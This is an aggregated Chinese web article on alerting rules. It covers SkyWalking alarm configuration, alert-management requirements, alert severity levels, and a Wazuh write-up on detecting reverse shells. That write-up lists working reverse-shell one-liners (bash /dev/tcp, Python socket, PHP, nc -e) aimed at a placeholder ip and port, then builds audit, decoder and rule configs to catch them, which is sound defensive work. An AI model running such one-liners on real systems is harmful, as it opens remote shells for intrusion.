告警规则(告警规则的指标)

来源网友投稿 1114 2022-12-27

本站部分文章、图片属于网络上可搜索到的公开信息,均用于学习和交流用途,不能代表睿象云的观点、立场或意见。我们接受网民的监督,如发现任何违法内容或侵犯了您的权益,请第一时间联系小编邮箱jiasou666@gmail.com 处理。
本篇文章给大家谈谈告警规则,以及告警规则的指标对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。 今天给各位分享告警规则的知识,其中也会对告警规则的指标进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

SkyWalking:告警配置指南

Apache SkyWalking告警
Apache SkyWalking告警是由一组规则驱动,这些规则定义在config/alarm-settings.yml文件中。

告警规则的定义分为三部分。

告警规则:定义了触发告警所考虑的条件。
webhook:当告警触发时,被调用的服务端点列表。
gRPCHook:当告警触发时,被调用的远程gRPC方法的主机和端口。
Slack Chat Hook:当告警触发时,被调用的Slack Chat接口。
微信 Hook:当告警触发时,被调用的微信接口。
钉钉 Hook:当告警触发时,被调用的钉钉接口。

告警规则有两种类型,单独规则(Individual Rules)和复合规则(Composite Rules),复合规则是单独规则的组合。

单独规则主要有以下几点:

标签的设置必须把数据存储在meter-system中,例如: Prometheus , Micrometer。以上四个标签设置必须实现 LabeledValueHolder 接口。

对于多个值指标,例如 percentile ,阈值是一个数组。像 value1 value2 value3 value4 value5 这样描述。 每个值可以作为度量中每个值的阈值。如果不想通过此值或某些值触发警报,则将值设置为 - 。 例如在 percentile 中, value1 是P50的阈值, value2 是P75的阈值,那么 -,-,value3, value4, value5 的意思是,没有阈值的P50和P75的 percentile 告警规则。

举个例子:

复合规则(Composite Rules)
复合规则仅适用于针对相同实体级别的告警规则,例如都是服务级别的告警规则:service_percent_rule service_resp_time_percentile_rule。
不可以编写不同实体级别的告警规则,例如服务级别的一个告警规则和端点级别的一个规则:service_percent_rule endpoint_percent_rule。

复合规则主要有以下几点:

规则名称:在告警信息中显示的唯一名称,必须以_rule结尾。
expression:指定如何组成规则,支持, ||, ()操作符。
message:该规则触发时,发送的通知消息。

Slack Chat Hook
您需要遵循传入Webhooks入门指南并创建新的Webhooks。

如果您按以下方式配置了Slack Incoming Webhooks,则告警消息将按 Content-Type 为 application/json 通过HTTP的 POST 方式发送。

举个例子:

微信Hook
只有微信的企业版才支持 Webhooks ,如何使用微信的 Webhooks 可参见如何配置群机器人。

如果您按以下方式配置了微信的 Webhooks ,则告警消息将按 Content-Type 为 application/json 通过HTTP的 POST 方式发送。

举个例子:

钉钉 Hook
您需要遵循自定义机器人开放并创建新的Webhooks。为了安全起见,您可以为Webhook网址配置可选的密钥。

如果您按以下方式配置了钉钉的 Webhooks ,则告警消息将按 Content-Type 为 application/json 通过HTTP的 POST 方式发送。

举个例子:

告警管理

将CMDB系统与Prometheus连接,实现批量部署配置文件,批量管理告警信息等

1.收到告警后,能通过页面针对不合理的阈值进行单个
批量修改,在告警消息上能针对
单个阈值进行修改。
2.对应用进行分组,并针对该组制定告警规则。
3.告警发送通道的自助式配置。
4.维护窗口进行告警的单个
批量静默。

1.告警大屏上展示告警的关键信息,如应用、IP、维护者、重要性。
2.告警数据的分析,哪些应用或实例告警频率高。
3.告警的个例、批量修改,修改的记录有留痕。

哪里问题多?什么问题?。

1.平台下发数据是否正常,涉及规则、应用实例是否按既定规则推送。
2.规则变更后的生效时间,目前15分钟。
3.告警发生差异,触发阈值的告警数及送达告警数。
4.告警消息轨迹及时延,从产生告警及送达对应的通道。

1.针对硬件、网络、系统、应用(部分业务)四类采集器进行自助式告警规则、告警模板、应用分组配置。
2.自助式进行告警规则启用、禁用、静默。
3.告警大盘展现,不同级别不同颜色。
4.告警通知:钉钉@到人,接入电话、短信告警。
5.简化告警模板。
6.告警渠道管理。
7.支持用户订阅告警消息。
8.支持延迟通知设置。
9.行为日志记录:规则变更、阈值变更、静默变更。
10.告警消息上点击操作数据能同步到后端并处理。

Wauzh自定义反弹shell告警规则

常见反弹:

bash -i /dev/tcp/ip/port 01

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i /dev/tcp/ip/port 01");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <3 3 23");'

nc -e /bin/bash ip port

测试截图:

nc:

bash:
反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。

参考:

https://www.freebuf.com/articles/system/187584.html

https://cloud.tencent.com/developer/article/1527568

https://xz.aliyun.com/t/2548  原理深入

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/ginvip/p/6350222.html 文件标识符FD的解释

规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell

1、检查/bin/bash进程(ps -ef|grep bash)

2、lsof -p $pid

3、遍历lsof结果

当TYPE中包含CHR且NAME中有(tty|pts|ptmx)

TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配-和:之间的IP:(?<=-)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

FD为'cwd',展示该行的NAME

wazuh配置

1、配置audit告警/bin/bash执行,agent端配置:

auditctl -w /bin/bash -p x -F key=audit-wazuh-c

2、wazuh告警

rule.id:80792
3、依据audit内容调整规则, 但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:

   exe="/bin/bash"+type=EXECVE+包含=“-i”

   执行lsof -p $pid

   判断TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配-和:之间的IP:(?<=-)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

4、通过端口以及进程来判断

客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c

配置执行命令:netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'  ( rule.id =100005)

当10005和80792同时出现时,存在反弹shell,告警100006

agent.conf 编写:

<agent_config

     <wodle name="command"

        <disabledno</disabled

        <tagreverse shell test</tag

        netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command #查看是否存在以bash或者sh为名的远程连接

        <interval5s</interval

        <ignore_outputno</ignore_output

        <run_on_startyes</run_on_start

        <timeout0</timeout

    </wodle

</agent_config

decoders.xml编写

<decoder name="check_reverse_shell"

    <prematch^tcp</prematch

</decoder

<decoder name="check_revsrse_shell_info"

    <parentcheck_reverse_shell</parent

    <regex offset="after_parent"\s*(\d+)\s*</regex  #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax

    <ordersend_q</order

</decoder

<decoder name="check_revsrse_shell_info"

    <parentcheck_reverse_shell</parent

    <regex offset="after_regex"\s*(\d+\p\d+\p\d+\p\d+)</regex

    <ordersrcip</order

</decoder

<decoder name="check_revsrse_shell_info"

    <parentcheck_reverse_shell</parent

    <regex offset="after_regex"\p(\d+)</regex

    <ordersrcport</order

</decoder

<decoder name="check_revsrse_shell_info"

    <parentcheck_reverse_shell</parent

    <regex offset="after_regex"\s*(\d+\p\d+\p\d+\p\d+)</regex

    <orderdstip</order

</decoder

<decoder name="check_revsrse_shell_info"

    <parentcheck_reverse_shell</parent

    <regex offset="after_regex"\p(\d+)</regex

    <orderdstport</order

</decoder

rule.xml编写

<group name="attack,"

    <rule id="100005" level="7"  #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联

        <decoded_ascheck_reverse_shell</decoded_as

        <matchESTABLISHED</match

        <regex/bash|/sh</regex

        <descriptionbash|sh netstat information</description

    </rule

    <rule id="100006" level="12" timeframe="10" frequency="2"

        <if_sid100005</if_sid

        <if_matched_sid80792</if_matched_sid

        <descriptionThere could be reverse shell.Plz check.</description

    </rule

</group

告警展示

运维告警等级详解

互联网时代 IT 相关的衍生产品有很多,监控工具为其中的佼佼者。很多监控工具对于确保网站和应用的平稳运行做了非常多的工作,但是,对于告警产生到通知用户的过程,还有很大的改进空间。

在合理评估告警严重程度的基础上,确保通知合适的运维汪,对于快速有效解决事件至关重要。但是我们对告警等级的重要性以及如何设置告警等级来提高团队效率,还缺少必要的认识。针对该问题,以下几条快速指南可以供大家参考。

什么是告警等级?有什么重要性?

简单来说,告警等级是表征事件严重性的指标之一,取决于事件对用户体验以及网站或应用整体性能造成的负面影响的大小。

例如,导致网站崩溃的事件,被认为负面影响极大,告警等级也就较高;而一个Ping的问题有时不会很明显,被认为负面影响略小,告警等级也就较低。

告警等级的重要性体现在以下方面:

有助于减少和控制告警噪声的数量。

使得错误处理流程更为顺畅。

使你解决问题更有效率。

总而言之,根据告警等级不同,可以优先处理重要事件,避免干扰到不在职责范围内的无关人员。

怎样创建合适的团队告警等级规则?

确定告警等级的重要性,相信大家已经了解了,但如何创建一个适合整个团队事件严重程度的评估方法,是监控工具开发人员的棘手问题。

一般来说,评估告警等级过程需考虑以下3个方面:

1.严重性等级结构

2.团队结构

3.通信结构

1)严重性等级结构

严重性等级的主要目的是确保合适的人员能够知道问题,并按照严重程度来处理问题。一般来说,设置严重程度等级结构的最简单方法是根据商业价值来确定网站或应用的最关键部分。并且在团队中,并没有所谓的正确或错误的方式来判定严重性等级。要知道,重要的是了解团队如何划分具体的事件,并确保每个人都达成共识。

2)团队结构

清晰地认识团队结构并对告警进行有序分派,将提高整个团队的执行效率。为了更有序和有效的分派告警,我们应该注意几个问题:

告警处理需要涉及哪些人?

处理事件时,每个人的责任是什么?

告警要求在哪个环节通知哪些人?

3)通信结构

如果你不知道告警在团队结构内应该如何通信,那么建立通信结构将是创建严重性等级过程中最为困难的一环。

你可以这样考虑:

严重性等级结构:这个问题有多严重?

团队结构:这是谁的责任?

通信结构:如果问题发生,如何以及何时联系团队成员?

创建通信结构能将不同事件与团队中的不同角色联系起来,并根据时间紧迫度与错误频率添加更明确的操作。这样,可以确保通过恰当的渠道联系到合适的人员,且符合当前的情况。如果一个响应者不在线上,可通过告警升级机制确保团队中的其他成员得到通知。

根据团队结构,选择合适的通知渠道与阈值配置,意味着问题解决能更加高效,且不会牵涉到无关人员。
RIIL是国内领先的IT综合管理解决方案,通过IT资源综合监控、运维流程管理、3D数据中心管理三大模块帮助客户实现IT部门人财物的全面管理,提升IT服务质量以及运维管理绩效

关于告警规则和告警规则的指标的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。 告警规则的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于告警规则的指标、告警规则的信息别忘了在本站进行查找喔。
上一篇:关于源中瑞智慧公安扫二维码定位系统
下一篇:维信诺推出业界首款“柔性AMOLED口袋卷曲投幕”
相关文章

 发表评论

暂时没有评论,来抢沙发吧~